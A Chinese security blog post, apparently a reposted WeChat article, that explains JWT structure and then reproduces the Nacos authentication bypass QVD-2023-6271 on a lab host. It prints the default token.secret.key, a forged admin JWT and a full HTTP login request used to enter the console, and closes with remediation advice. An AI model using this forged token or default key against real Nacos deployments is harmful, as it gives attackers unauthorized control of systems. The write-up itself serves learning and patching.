JWT(Json Web Token)
0x00 JWT构成
Json Web Token
简称JWT
,用做用户身份验证。那么其结构长什么样呢,下面我会通过一个例子去分析。
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyfQ.pF3q46_CLIyP_1QZPpeccbs-hC4n9YW2VMBjKrSO6Wg
上面是一串JWT
格式的字符串,在线解密查看内容:https://jwt.io/
从解密的结果可以看到其由三部分组成(头部、载荷、签名)
Header Payload Signature
为什么说它(JWT)
的名字里面带有Json
不难看出,因为其解密出来的内容是按照Json
格式存储的,下面通过上述的一个JWT
例子对其三部分简单介绍一下
Header
Header
通常由两部分组成:令牌的类型,即JWT
和正在使用的散列算法,如SHA256
或RSA
。
- 明文
{
"alg": "HS256",
"typ": "JWT"
}
不难看出typ
为类型的缩写,alg
为算法的缩写。然后,这个JSON
被Base64
编码,形成JSON Web Token
的第一部分。
- 密文
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9
Payload
令牌的第二部分是包含声明的有效负载。声明是关于实体(通常是用户)和其他元数据的声明。
- 明文
{
"sub": "1234567890",
"name": "John Doe",
"iat": 1516239022
}
同样对其base64编码得到第二部分
- 密文
eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyfQ
Signature
这部分为创建签名部分,必须采用header
,payload
,密钥三部分处理,利用header
中指定算法进行签名。
例如HS256(HMAC SHA256)
,签名的构成为:
HMACSHA256( base64UrlEncode(header) + "." + base64UrlEncode(payload), 123 )
然后将这部分同样base64
编码形成JWT
第三部分。
一张图看懂加密后的JWT
0x01 JWT适用场景
Authentication(鉴权):
这是使用JWT
最常见的情况。一旦用户登录,每个后续请求都将包含JWT
,允许用户访问该令牌允许的路由,服务和资源。单点登录是当今广泛使用JWT
的一项功能,因为它的开销很小,并且能够轻松地跨不同域使用。
Information Exchange(信息交换)
JSON Web Tokens
是在各方之间安全传输信息的好方式。因为JWT
可以签名:例如使用公钥/私钥对,所以可以确定发件人是他们自称的人。此外,由于使用标头和有效载荷计算签名,因此您还可以验证内容是否未被篡改。
现在了解了Json Web Token
的组成,下面理解其攻击手法就比较容易了。接下来实战复现一下。
nacos token.secret.key身份认证绕过漏洞(QVD-2023-6271)复现
0x00 简介
Nacos
是一个易于使用的平台,专为动态服务发现和配置以及服务管理而设计。可以帮助您轻松构建云原生应用程序和微服务平台。
0x01 漏洞概述
目前Nacos
身份认证绕过漏洞(QVD-2023-6271)
,也叫做NVDB-CNVDB-2023674205
,暂无CVE
编号,开源服务管理平台Nacos
在默认配置下未对token.secret.key
进行修改,导致远程攻击者可以绕过密钥认证进入后台,造成系统受控等后果。
0x02 影响版本
0.1.0 <= Nacos <= 2.2.0
0x03 环境搭建
漏洞版本从GitHub
上下载带有漏洞的源码
https://github.com/alibaba/nacos/releases
可以选择2.2.0以下版本,比如下面这个
解压之后,在bin目录下使用cmd使用命令startup.cmd -m standalone
来启动(java8以上环境运行)
拼接路径nacos
到路径
http://192.168.2.217:8848/nacos/#/login
0x04 漏洞复现
在nacos
中,token.secret.key
值是固定死的,位置在conf
下的application.properties
中:
nacos.core.auth.plugin.nacos.token.secret.key=SecretKey012345678901234567890123456789012345678901234567890123456789
0x05 获取token
利用该默认key
可进行jwt
构造,直接进入后台,构造方法:在https://jwt.io/中:输入默认key
:
SecretKey012345678901234567890123456789012345678901234567890123456789
然后再payload
里面输入:
{ "sub": "nacos", "exp": 1690889280 }
在这里注意:1690889280
这个值是unix
时间戳,换算一下,要比你系统当前的时间更晚,比如当前的时间是2023年08月01日19:28:00
,在这里面的时间戳时间是8月2号:
注意jwt.io中的secret base64 encoded
,要勾选
复制加密的jwt
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJuYWNvcyIsImV4cCI6MTY5MDk3OTE1OX0.V6IUQeYyRER9mp-SCwfQmCXJjrDBmJp_eGGWR8NeoU8
复制上面得到的值,抓包修改包,添加Authorization
值
请求包如下:
POST /nacos/v1/auth/users/login HTTP/1.1 Host: 192.168.2.217:8848 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/115.0 Accept: application/json, text/plain, */* Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Content-Length: 29 Origin: http://192.168.2.217:8848 Connection: close Referer: http://192.168.2.217:8848/nacos/ Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJuYWNvcyIsImV4cCI6MTY5MDk3OTE1OX0.V6IUQeYyRER9mp-SCwfQmCXJjrDBmJp_eGGWR8NeoU8 username=nacos&password=nacos
可以看到返回200
,说明登录成功,利用这个可以绕过身份认证,进入后台使用Burp拦截网站请求,并拦截返回包。
0x06 利用获取token登录后台
在这里使用任意账号登录之后,再修改返回包就行了,用burp
拦截:
0x07 替换返回包
然后Forward
,这边返回的信息肯定是无效的:
在这里使用刚刚burp
里面生成的返回包进行替换,全部复制过去:
全部放包
0x08 登录成功
0x09 修复方式
1.自行修改key
2.更新到最新版本
原文始发于微信公众号(不懂安全):nacos 身份认证绕过漏洞(QVD-2023-6271)
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论